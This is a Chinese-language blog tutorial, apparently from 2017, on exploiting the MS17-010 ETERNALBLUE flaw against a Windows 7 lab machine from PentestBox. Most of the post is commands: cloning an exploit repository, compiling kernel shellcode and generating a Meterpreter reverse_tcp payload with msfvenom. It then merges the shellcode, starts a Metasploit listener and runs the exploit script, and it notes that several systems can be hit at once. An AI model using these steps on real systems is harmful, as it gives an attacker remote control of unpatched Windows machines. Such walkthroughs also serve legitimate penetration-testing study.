使用PentestBox工具利用ETERNALBLUE对Win7进行攻击,获取Meterpreter反弹
Aug 16, 2017#Exploit
前言
MS17-010已经过去很久了,利用PentestBox的方式也提到过,但都是基于python2.6那种方式实现的。本文将使用Sleepya 的脚本利用ETERNALBLUE来实现对Win7进行攻击,从而获取Meterpreter反弹。
靶机为Windows 7,IP为192.168.131.133。攻击机为Win10系统,安装了PentestBox,IP为192.168.217.1。
脚本下载地址:https://github.com/worawit/MS17-010
漏洞利用测试
1.安装NASM
下载地址:http://www.nasm.us/pub/nasm/releasebuilds/ ,我这里用的是2.13。
然后开始安装。
安装完成后加入环境变量。
2.下载利用脚本,并编译内核shellcode
1 | git clone https://github.com/worawit/MS17-010 |
编译内核shellcode
1 | cd MS17-010/shellcode/ |
3.生成反弹exp
1 | msfvenom -p windows/meterpreter/reverse_tcp EXITFUNC=thread LHOST=192.168.217.1 LPORT=4445 -f raw -o ../../Git/MS17-010/shellcode/sc_x86_msf.bin |
4.合并SHELLCODE
1 | cat eternalblue_kshellcode_x64 sc_x64_msf.bin > sc_x64.bin |
5.开启Metasploit并监听
1 | msf > use exploit/multi/handler |
6.进行攻击
1 | python eternalblue_exploit7.py 192.168.131.133 shellcode\sc_all.bin |
看到已经获取Meterpreter反弹。
遇到的问题
在PentestBox中运行一些命令时(如msfconsole),提示不是内部或外部命令,也不是可运行的程序或批处理文件。
解决方法:输入cmd
之后再输入需要执行的命令。
总结
1.这种方式利用稍微简单点,不需要过多的命令,而且生成的SHELLCODE也具有复用性。
2.在以上的操作中,均生成了32位和64位的shellcode,最后利用eternalblue_sc_merge脚本合并到一起。然后在Eternalblue漏洞中利用合并的shellcode可以支持x86和x64,无需再检测目标体系结构。
3.在使用中设置了线程,可以同时对多个系统进行攻击测试。
例如:
1 | python eternalblue_exploit7.py 192.168.131.133 shellcode\sc_all.bin |
攻击结果:
参考
[1]https://github.com/worawit/MS17-010
[2]https://www.exploit-db.com/docs/42280.pdf